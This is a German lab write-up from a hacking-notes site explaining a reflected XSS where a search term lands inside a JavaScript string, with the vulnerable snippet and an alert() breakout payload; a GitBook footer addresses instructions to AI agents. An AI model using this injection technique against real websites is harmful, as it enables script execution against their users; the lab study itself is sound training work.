> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/xss/reflected-xss-in-a-javascript-string-with-html-encoded-angle-brackets.md).

# Reflektiertes XSS in einem JavaScript-String mit HTML-kodierten spitzen Klammern

### Reflected XSS in einen JavaScript-String mit in HTML kodierten Winkelklammern

Dieses Lab enthält eine XSS-artige Schwachstelle, die sich im Mechanismus zur Verfolgung von Suchanfragen widerspiegelt: die Winkelklammern (`<` und `>`) werden in HTML kodiert, aber der reflektierte Wert wird innerhalb eines \*\*JavaScript-Strings\*\* eingefügt. Das Ziel ist, aus diesem JS-String herauszukommen und aufzurufen `alert()`.

**Auszug relevant für den beobachteten Code**

{% code overflow="wrap" %}

```javascript
var searchTerms = 'hello';
   document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
```

{% endcode %}

<figure><img src="/files/045f316638c68924864d94f725eabe8102ad7998" alt=""><figcaption></figcaption></figure>

Der Suchwert (`searchTerms`) wird in einem `document.write` Anweisung innerhalb eines von JavaScript erzeugten HTML-Strings verknüpft. Durch das Einschleusen eines Apostrophs (`'`) in den Wert können Sie den aktuellen JavaScript-String schließen und beliebigen Code ausführen.

```javascript
hello'
```

<figure><img src="/files/eea403504ac6af1937d6c6a074adb05f02020a75" alt=""><figcaption></figcaption></figure>

Wenn Sie die folgende Zeichenfolge als Suchwert senden, schließen Sie den String und führen `alert(0)` und schließen dann:

```javascript
hello' ; alert(0);'
```

<figure><img src="/files/15ca75169e8ebdaf8ddb3f2c42177623baa20171" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/xss/reflected-xss-in-a-javascript-string-with-html-encoded-angle-brackets.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
